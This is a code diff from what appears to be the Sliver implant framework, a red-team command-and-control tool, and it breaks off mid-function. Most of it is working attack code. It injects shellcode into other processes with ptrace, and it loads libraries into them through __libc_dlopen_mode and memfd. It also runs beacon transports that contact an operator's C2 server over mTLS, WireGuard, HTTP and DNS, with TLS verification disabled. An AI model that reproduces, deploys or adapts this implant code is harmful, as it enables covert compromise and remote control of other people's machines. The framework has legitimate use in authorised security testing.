if regs.Rip > uint64(m.StartAddr) && regs.Rip < uint64(m.EndAddr) {
log.Printf("[*] RIP in %s\n", m.Pathname)
break
}
}
// {{end}}
inject := []byte{0xff, 0xd0, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
// Backup stuff
backupData, err := readMem(pid, regs.Rip)
backupRip := regs.Rip
if err != nil {
// {{if .Config.Debug}}
log.Println("readMem:", err)
// {{end}}
return err
}
regs.Rax = dlopenAddr
regs.Rdi = dataAddr
regs.Rsi = 2 // RTLD_NOW
err = syscall.PtraceSetRegs(pid, regs)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[!] PtraceSetRegs failed: %v\n", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Registers set!")
// {{end}}
err = writeMem(pid, regs.Rip, inject)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] writeMem failed:", err)
// {{end}}
return err
}
err = syscall.PtraceCont(pid, 0)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] PtraceCont failed:", err)
// {{end}}
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Println("[*] Got to breakpoint")
// {{end}}
err = writeMem(pid, backupRip, backupData)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] writeMem failed!")
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Restored old code")
// {{end}}
return err
})
return err
}
func callDlopenNoRet(pid int, dataAddr uint64, dlopenAddr uint64) error {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, &regs)
if err != nil {
return err
}
// {{if .Config.Debug}}
allMaps, _ := ProcMaps(pid)
for _, m := range allMaps {
if regs.Rip > uint64(m.StartAddr) && regs.Rip < uint64(m.EndAddr) {
log.Printf("[*] RIP in %s\n", m.Pathname)
break
}
}
// {{end}}
inject := []byte{0xff, 0xd0, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
regs.Rax = dlopenAddr
regs.Rdi = dataAddr
regs.Rsi = 2 // RTLD_NOW
err = syscall.PtraceSetRegs(pid, &regs)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[!] PtraceSetRegs failed: %v\n", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Registers set!")
// {{end}}
err = writeMem(pid, regs.Rip, inject)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] writeMem failed:", err)
// {{end}}
return err
}
return err
}
func callShellcode(pid int, addr uint64) error {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, &regs)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[*] Old RIP at 0x%08x\n", regs.Rip)
// {{end}}
inject := []byte{0xff, 0xd0, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
regs.Rax = addr
err = syscall.PtraceSetRegs(pid, &regs)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[!] PtraceSetRegs failed: %v\n", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Registers set!")
// {{end}}
err = writeMem(pid, regs.Rip, inject)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] writeMem failed:", err)
// {{end}}
return err
}
return err
}
// remoteTask injects and run a shellcode in the remote process
func remoteTask(data []byte, pid int) error {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Attach to process
err := syscall.PtraceAttach(pid)
if err != nil {
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Println("[*] Attached to", pid)
// {{end}}
perms := syscall.PROT_EXEC | syscall.PROT_READ | syscall.PROT_WRITE
addr, err := allocateMap(pid, uint64(len(data)), perms)
if err != nil {
return err
}
err = findSweetSpot(pid)
if err != nil {
return err
}
err = writeMem(pid, addr, data)
if err != nil {
return err
}
err = callShellcode(pid, addr)
if err != nil {
return err
}
err = syscall.PtraceDetach(pid)
if err != nil {
return err
}
return nil
}
// libraryTask injects a shared library in the process
// designated by pid
func libraryTask(data []byte, pid int) error {
procMaps, err := ProcMaps(pid)
if err != nil {
return err
}
var libcMap *ProcMap
for _, m := range procMaps {
if m.Offset == 0 &&
m.Perms.Read &&
!m.Perms.Execute &&
!m.Perms.Write &&
!m.Perms.Shared &&
strings.Contains(m.Pathname, "/usr/lib64/libc-") {
libcMap = m
}
}
dlopenOffset, err := getSymbolOffset("__libc_dlopen_mode", libcMap.Pathname)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[*] __libc_dlopen_mode offset in %s is at 0x%08x\n", libcMap.Pathname, dlopenOffset)
// {{end}}
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Attach to process
err = syscall.PtraceAttach(pid)
if err != nil {
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Println("[*] Attached to", pid)
// {{end}}
perms := syscall.PROT_READ | syscall.PROT_WRITE
addr, err := allocateMap(pid, 8192, perms)
if err != nil {
return err
}
err = findSweetSpot(pid)
if err != nil {
return err
}
memfd, err := writeToMemFD(data)
if err != nil {
return err
}
memfdBytes := []byte(memfd)
memfdBytes = append(memfdBytes, 0x00)
err = writeMem(pid, addr, memfdBytes)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[*] Wrote %d bytes (%s) to 0x%08x\n", len(memfdBytes), memfd, addr)
log.Printf("[*] Libc is at 0x%08x, dlopen is at 0x%08x\n", libcMap.StartAddr, uint64(libcMap.StartAddr)+dlopenOffset)
// {{end}}
err = callDlopenNoRet(pid, addr, uint64(libcMap.StartAddr)+dlopenOffset)
if err != nil {
return err
}
err = syscall.PtraceDetach(pid)
if err != nil {
return err
}
return nil
}
+210
View File
@@ -0,0 +1,210 @@
// Copyright 2019 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris
// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
package taskrunner
import (
"bufio"
"fmt"
"os"
"strconv"
"strings"
"golang.org/x/sys/unix"
)
// ProcMapPermissions contains permission settings read from /proc/[pid]/maps
type ProcMapPermissions struct {
// mapping has the [R]ead flag set
Read bool
// mapping has the [W]rite flag set
Write bool
// mapping has the [X]ecutable flag set
Execute bool
// mapping has the [S]hared flag set
Shared bool
// mapping is marked as [P]rivate (copy on write)
Private bool
}
// ProcMap contains the process memory-mappings of the process,
// read from /proc/[pid]/maps
type ProcMap struct {
// The start address of current mapping.
StartAddr uintptr
// The end address of the current mapping
EndAddr uintptr
// The permissions for this mapping
Perms *ProcMapPermissions
// The current offset into the file/fd (e.g., shared libs)
Offset int64
// Device owner of this mapping (major:minor) in Mkdev format.
Dev uint64
// The inode of the device above
Inode uint64
// The file or psuedofile (or empty==anonymous)
Pathname string
}
// parseDevice parses the device token of a line and converts it to a dev_t
// (mkdev) like structure.
func parseDevice(s string) (uint64, error) {
toks := strings.Split(s, ":")
if len(toks) < 2 {
return 0, fmt.Errorf("unexpected number of fields")
}
major, err := strconv.ParseUint(toks[0], 16, 0)
if err != nil {
return 0, err
}
minor, err := strconv.ParseUint(toks[1], 16, 0)
if err != nil {
return 0, err
}
return unix.Mkdev(uint32(major), uint32(minor)), nil
}
// parseAddress just converts a hex-string to a uintptr
func parseAddress(s string) (uintptr, error) {
a, err := strconv.ParseUint(s, 16, 0)
if err != nil {
return 0, err
}
return uintptr(a), nil
}
// parseAddresses parses the start-end address
func parseAddresses(s string) (uintptr, uintptr, error) {
toks := strings.Split(s, "-")
if len(toks) < 2 {
return 0, 0, fmt.Errorf("invalid address")
}
saddr, err := parseAddress(toks[0])
if err != nil {
return 0, 0, err
}
eaddr, err := parseAddress(toks[1])
if err != nil {
return 0, 0, err
}
return saddr, eaddr, nil
}
// parsePermissions parses a token and returns any that are set.
func parsePermissions(s string) (*ProcMapPermissions, error) {
if len(s) < 4 {
return nil, fmt.Errorf("invalid permissions token")
}
perms := ProcMapPermissions{}
for _, ch := range s {
switch ch {
case 'r':
perms.Read = true
case 'w':
perms.Write = true
case 'x':
perms.Execute = true
case 'p':
perms.Private = true
case 's':
perms.Shared = true
}
}
return &perms, nil
}
// parseProcMap will attempt to parse a single line within a proc/[pid]/maps
// buffer.
func parseProcMap(text string) (*ProcMap, error) {
fields := strings.Fields(text)
if len(fields) < 5 {
return nil, fmt.Errorf("truncated procmap entry")
}
saddr, eaddr, err := parseAddresses(fields[0])
if err != nil {
return nil, err
}
perms, err := parsePermissions(fields[1])
if err != nil {
return nil, err
}
offset, err := strconv.ParseInt(fields[2], 16, 0)
if err != nil {
return nil, err
}
device, err := parseDevice(fields[3])
if err != nil {
return nil, err
}
inode, err := strconv.ParseUint(fields[4], 10, 0)
if err != nil {
return nil, err
}
pathname := ""
if len(fields) >= 5 {
pathname = strings.Join(fields[5:], " ")
}
return &ProcMap{
StartAddr: saddr,
EndAddr: eaddr,
Perms: perms,
Offset: offset,
Dev: device,
Inode: inode,
Pathname: pathname,
}, nil
}
// ProcMaps reads from /proc/[pid]/maps to get the memory-mappings of the
// process.
func ProcMaps(pid int) ([]*ProcMap, error) {
file, err := os.Open(fmt.Sprintf("/proc/%d/maps", pid))
if err != nil {
return nil, err
}
defer file.Close()
maps := []*ProcMap{}
scan := bufio.NewScanner(file)
for scan.Scan() {
m, err := parseProcMap(scan.Text())
if err != nil {
return nil, err
}
maps = append(maps, m)
}
return maps, nil
}
+12 -16
View File
@@ -29,6 +29,7 @@ import (
"syscall"
"unsafe"
"golang.org/x/sys/unix"
//{{if .Config.Debug}}
"log"
//{{end}}
@@ -50,33 +51,23 @@ func LocalTask(data []byte, rwxPages bool) error {
return nil
}
// RemoteTask -
// RemoteTask - injects a shellcode into a remote process
func RemoteTask(processID int, data []byte, rwxPages bool) error {
return nil
return remoteTask(data, processID)
}
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
var (
nrMemfdCreate int
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
)
memfdName := randomString(8)
memfd, err := syscall.BytePtrFromString(memfdName)
fd, err := unix.MemfdCreate(memfdName, unix.MFD_ALLOW_SEALING)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error during conversion: %s\n", err)
//{{end}}
return "", err
}
if runtime.GOARCH == "386" {
nrMemfdCreate = 356
} else {
nrMemfdCreate = 319
}
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
pid := os.Getpid()
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
err = ioutil.WriteFile(fdPath, data, 0755)
@@ -115,3 +106,8 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
//{{end}}
return stdOut.String(), nil
}
// LibTask - injects a shared object into a remote process
func LibTask(processID int, data []byte) error {
return libraryTask(data, processID)
}
+7 -29
View File
@@ -18,8 +18,6 @@ package transports
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.IsBeacon}}
import (
// {{if .Config.Debug}}
"log"
@@ -60,10 +58,6 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
_ url.URL
)
type BeaconInit func() error
type BeaconStart func() error
type BeaconRecv func() (*pb.Envelope, error)
@@ -79,25 +73,6 @@ type Beacon struct {
Recv BeaconRecv
Close BeaconClose
Cleanup BeaconCleanup
url *url.URL
proxyURL *url.URL
}
// URL - Returns the c2 URL of the beacon
func (b *Beacon) URL() string {
if b.url == nil {
return ""
}
return b.url.String()
}
// ProxyURL - Returns the c2 URL of the beacon
func (b *Beacon) ProxyURL() string {
if b.proxyURL == nil {
return ""
}
return b.url.String()
}
// Interval - Interval between beacons
@@ -166,11 +141,13 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
// {{if .Config.MTLSc2Enabled}}
case "mtls":
beacon = mtlsBeacon(uri)
activeC2 = uri.String()
// {{end}} - MTLSc2Enabled
case "wg":
// *** WG ***
// {{if .Config.WGc2Enabled}}
beacon = wgBeacon(uri)
activeC2 = uri.String()
// {{end}} - WGc2Enabled
case "https":
fallthrough
@@ -178,12 +155,14 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
// *** HTTP ***
// {{if .Config.HTTPc2Enabled}}
beacon = httpBeacon(uri)
activeC2 = uri.String()
// {{end}} - HTTPc2Enabled
case "dns":
// *** DNS ***
// {{if .Config.DNSc2Enabled}}
beacon = dnsBeacon(uri)
activeC2 = uri.String()
// {{end}} - DNSc2Enabled
default:
@@ -205,7 +184,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
// {{if .Config.MTLSc2Enabled}}
func mtlsBeacon(uri *url.URL) *Beacon {
// {{if .Config.Debug}}
log.Printf("Beacon -> %s", uri.String())
log.Printf("Establishing Beacon -> %s", uri.String())
// {{end}}
var err error
lport, err := strconv.Atoi(uri.Port())
@@ -327,6 +306,7 @@ func httpBeacon(uri *url.URL) *Beacon {
// {{end}}
return err
}
proxyURL = client.ProxyURL
return nil
},
Start: func() error {
@@ -386,6 +366,4 @@ func dnsBeacon(uri *url.URL) *Beacon {
return beacon
}
// {{end}} - DNSc2Enabled
// {{end}} - IsBeacon
// {{end}}
@@ -91,7 +91,6 @@ var (
ErrClosed = errors.New("dns session closed")
ErrInvalidResponse = errors.New("invalid response")
ErrInvalidIndex = errors.New("invalid start/stop index")
ErrEmptyResponse = errors.New("empty response")
)
// DNSOptions - c2 specific options
@@ -99,7 +98,6 @@ type DNSOptions struct {
QueryTimeout time.Duration
RetryWait time.Duration
RetryCount int
MaxErrors int
WokersPerResolver int
ForceBase32 bool
ForceResolvConf string
@@ -127,17 +125,11 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
if err != nil || workersPerResolver < 1 {
workersPerResolver = 2
}
// Max errors
maxErrors, err := strconv.Atoi(c2URI.Query().Get("max-errors"))
if err != nil || maxErrors < 0 {
maxErrors = 10
}
return &DNSOptions{
QueryTimeout: queryTimeout,
RetryWait: retryWait,
RetryCount: retryCount,
MaxErrors: maxErrors,
WokersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
@@ -444,12 +436,6 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
if err != nil {
return nil, err
}
// {{if .Config.Debug}}
log.Printf("[dns] read msg resp data: %v", respData)
// {{end}}
if len(respData) < 1 {
return nil, nil
}
dnsMsg := &dnspb.DNSMessage{}
err = proto.Unmarshal(respData, dnsMsg)
@@ -626,29 +612,22 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
stop := start
lastLen := 0
var encoded string
// {{if .Config.Debug}}
encodedSubdata := []string{}
// {{end}}
for index := 0; stop < len(data); index++ {
if len(data) < index {
panic("boundary miscalculation") // We should always be able to encode more than one byte
}
msg.Start = uint32(start)
if lastLen == 0 {
stop += int(float64(s.subdataSpace)/2) - 1 // base32 overhead is about 160%
stop += int(float64(s.subdataSpace) / 2) // base32 overhead is about 160%
} else {
stop += (lastLen - 4) // max start uint32 overhead
}
if len(data) <= stop {
if len(data) < stop {
stop = len(data) - 1 // make sure the loop is executed at least once
}
// Sometimes adding a byte will result in +2 chars so we -1 the subdata space
encoded = ""
// {{if .Config.Debug}}
log.Printf("[dns] encoded: %d, subdata space: %d | stop: %d, len: %d",
len(encoded), (s.subdataSpace - 1), stop, len(data))
// {{end}}
for len(encoded) < (s.subdataSpace-1) && stop < len(data) {
stop++
// {{if .Config.Debug}}
@@ -662,9 +641,6 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
// {{end}}
}
lastLen = len(msg.Data) // Save the amount of data that fit for the next loop
// {{if .Config.Debug}}
encodedSubdata = append(encodedSubdata, encoded)
// {{end}}
domain, err := s.joinSubdataToParent(encoded)
if err != nil {
// {{if .Config.Debug}}
@@ -675,28 +651,6 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
subdata = append(subdata, domain)
start = stop
}
// {{if .Config.Debug}}
total := 0
for index, domain := range encodedSubdata {
dnsMsg := &dnspb.DNSMessage{}
rawData, err := encoder.Decode([]byte(domain))
if err != nil {
log.Printf("[dns] decode failed: %s", err)
panic("failed to decode subdata")
}
proto.Unmarshal(rawData, dnsMsg)
total += len(dnsMsg.Data)
log.Printf("[dns] subdata %d (%d->%d): %d bytes",
index, dnsMsg.Start, int(dnsMsg.Start)+len(dnsMsg.Data), len(dnsMsg.Data))
}
log.Printf("[dns] original data: %d bytes", len(data))
log.Printf("[dns] total subdata: %d bytes", total)
if total != len(data) {
panic("failed to properly encode subdata")
}
// {{end}}
return subdata, nil
}
@@ -64,12 +64,10 @@ type GenericResolver struct {
base64 encoders.Base64
}
// Address - Return the address of the resolver
func (r *GenericResolver) Address() string {
return r.address
}
// A - Query for A records
func (r *GenericResolver) A(domain string) ([]byte, time.Duration, error) {
var resp []byte
var rtt time.Duration
@@ -114,7 +112,6 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
return records, rtt, err
}
// TXT - Query for TXT records
func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) {
var resp []byte
var rtt time.Duration
@@ -30,7 +30,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/encoders"
)
// NewSystemResolver - Initialize a new system resolver
// NewSystemResolver -
func NewSystemResolver() DNSResolver {
return &SystemResolver{
base64: encoders.Base64{},
@@ -42,12 +42,10 @@ type SystemResolver struct {
base64 encoders.Base64
}
// Address - Returns the address of the resolver
func (r *SystemResolver) Address() string {
return "system"
}
// A - Query for A records
func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] %s->A record of %s?", r.Address(), domain)
@@ -70,7 +68,6 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
return addrs, rtt, nil
}
// TXT - Query for TXT records
func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] %s->A record of %s?", r.Address(), domain)
@@ -1,42 +0,0 @@
//go:build !windows
package httpclient
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
)
// GetHTTPDriver - Get an instance of the specified HTTP driver
func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
switch opts.Driver {
case goHTTPDriver:
return GoHTTPDriver(origin, secure, opts)
default:
// {{if .Config.Debug}}
log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
// {{end}}
return GoHTTPDriver(origin, secure, opts)
}
}
@@ -1,67 +0,0 @@
package httpclient
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/url"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/winhttp"
)
// GetHTTPDriver - Get an instance of the specified HTTP driver
func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
switch opts.Driver {
case goHTTPDriver:
// {{if .Config.Debug}}
log.Printf("Using go http driver")
// {{end}}
return GoHTTPDriver(origin, secure, opts)
case winHTTPDriver:
// {{if .Config.Debug}}
log.Printf("Using winhttp driver")
// {{end}}
return WinHTTPDriver(origin, secure, opts)
default:
// {{if .Config.Debug}}
log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
// {{end}}
return GoHTTPDriver(origin, secure, opts)
}
}
// WinHTTPDriver - Initialize a WinHTTP driver (Windows only)
func WinHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
port := uint16(80)
if secure {
port = uint16(80)
}
c2URL, err := url.Parse(origin)
if err != nil {
return nil, err
}
driver := winhttp.NewWinHTTPClient(c2URL.Host, port)
return driver, nil
}
@@ -1,134 +0,0 @@
package httpclient
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/tls"
"net"
"net/http"
"net/url"
"sync"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/proxy"
)
// GoHTTPDriver - Pure Go HTTP driver
func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
var transport *http.Transport
if !secure {
transport = &http.Transport{
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
} else {
transport = &http.Transport{
Dial: (&net.Dialer{
Timeout: opts.NetTimeout,
}).Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
}
client := &http.Client{
Jar: cookieJar(),
Timeout: opts.NetTimeout,
Transport: transport,
}
parseProxyConfig(origin, transport, opts.ProxyConfig)
return client, nil
}
func parseProxyConfig(origin string, transport *http.Transport, proxyConfig string) {
switch proxyConfig {
case "never":
break
case "":
fallthrough
case "auto":
p := proxy.NewProvider("").GetHTTPSProxy(origin)
if p != nil {
// {{if .Config.Debug}}
log.Printf("Found proxy %#v\n", p)
// {{end}}
proxyURL := p.URL()
if proxyURL.Scheme == "" {
proxyURL.Scheme = "https"
}
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
transport.Proxy = http.ProxyURL(proxyURL)
}
default:
// {{if .Config.Debug}}
log.Printf("Force proxy %#v\n", proxyConfig)
// {{end}}
proxyURL, err := url.Parse(proxyConfig)
if err != nil {
break
}
if proxyURL.Scheme == "" {
proxyURL.Scheme = "https"
}
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
transport.Proxy = http.ProxyURL(proxyURL)
}
}
// Jar - CookieJar implementation that ignores domains/origins
type Jar struct {
lk sync.Mutex
cookies []*http.Cookie
}
func cookieJar() *Jar {
return &Jar{
lk: sync.Mutex{},
cookies: []*http.Cookie{},
}
}
// NewJar - Get a new instance of a cookie jar
func NewJar() *Jar {
jar := new(Jar)
jar.cookies = make([]*http.Cookie, 0)
return jar
}
// SetCookies handles the receipt of the cookies in a reply for the
// given URL (which is ignored).
func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
jar.lk.Lock()
jar.cookies = append(jar.cookies, cookies...)
jar.lk.Unlock()
}
// Cookies returns the cookies to send in a request for the given URL.
// It is up to the implementation to honor the standard cookie use
// restrictions such as in RFC 6265 (which we do not).
func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
return jar.cookies
}
@@ -21,35 +21,34 @@ package httpclient
// {{if .Config.HTTPc2Enabled}}
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"bytes"
"context"
"crypto/tls"
"errors"
"fmt"
"io"
"io/ioutil"
insecureRand "math/rand"
"strings"
"net"
"net/http"
"net/url"
"strconv"
"strings"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/cryptography"
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/bishopfox/sliver/implant/sliver/proxy"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
const (
goHTTPDriver = "go"
winHTTPDriver = "winhttp"
userAgent = "{{GenerateUserAgent}}"
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
@@ -62,11 +61,9 @@ var (
// HTTPOptions - c2 specific configuration options
type HTTPOptions struct {
Driver string
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ProxyConfig string
ProxyUsername string
@@ -77,31 +74,29 @@ type HTTPOptions struct {
func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
netTimeout, err := time.ParseDuration(c2URI.Query().Get("net-timeout"))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse poll-timeout %s", err)
// {{end}}
netTimeout = time.Duration(30 * time.Second)
}
tlsTimeout, err := time.ParseDuration(c2URI.Query().Get("tls-timeout"))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse poll-timeout %s", err)
// {{end}}
tlsTimeout = time.Duration(30 * time.Second)
}
pollTimeout, err := time.ParseDuration(c2URI.Query().Get("poll-timeout"))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse poll-timeout %s", err)
// {{end}}
pollTimeout = time.Duration(30 * time.Second)
}
maxErrors, err := strconv.Atoi(c2URI.Query().Get("max-errors"))
if err != nil || maxErrors < 0 {
maxErrors = 10
}
driverName := strings.TrimSpace(strings.ToLower(c2URI.Query().Get("driver")))
if driverName == "" {
driverName = goHTTPDriver
}
return &HTTPOptions{
Driver: driverName,
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -112,7 +107,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
// HTTPStartSession - Attempts to start a session with a given address
func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*SliverHTTPClient, error) {
var client *SliverHTTPClient
client = httpsClient(address, opts)
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.pollTimeout = opts.PollTimeout
client.PathPrefix = pathPrefix
err := client.SessionInit()
@@ -121,7 +116,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
if strings.HasSuffix(address, ":443") {
address = fmt.Sprintf("%s:80", address[:len(address)-4])
}
client = httpClient(address, opts) // Fallback to insecure HTTP
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
err = client.SessionInit()
if err != nil {
return nil, err
@@ -130,16 +125,11 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
return client, nil
}
// HTTPDriver - The interface to send/recv HTTP data
type HTTPDriver interface {
Do(req *http.Request) (*http.Response, error)
}
// SliverHTTPClient - Helper struct to keep everything together
type SliverHTTPClient struct {
Origin string
PathPrefix string
driver HTTPDriver
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
@@ -235,7 +225,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
var data []byte
var err error
go func() {
resp, err = s.driver.Do(req.WithContext(ctx))
resp, err = s.Client.Do(req.WithContext(ctx))
select {
case <-ctx.Done():
done <- ctx.Err()
@@ -276,7 +266,7 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
log.Printf("[http] POST -> %s (%d bytes)", uri, len(sessionInit))
// {{end}}
resp, err := s.driver.Do(req)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[http] http response error: %s", err)
@@ -411,7 +401,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
// {{end}}
req := s.newHTTPRequest(http.MethodPost, uri, reader)
resp, err := s.driver.Do(req)
resp, err := s.Client.Do(req)
// {{if .Config.Debug}}
log.Printf("[http] POST request completed")
// {{end}}
@@ -455,7 +445,7 @@ func (s *SliverHTTPClient) CloseSession() error {
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
resp, err := s.driver.Do(req)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[http] GET failed %v", err)
@@ -565,40 +555,122 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
// [ HTTP(S) Clients ] ------------------------------------------------------------
func httpClient(address string, opts *HTTPOptions) *SliverHTTPClient {
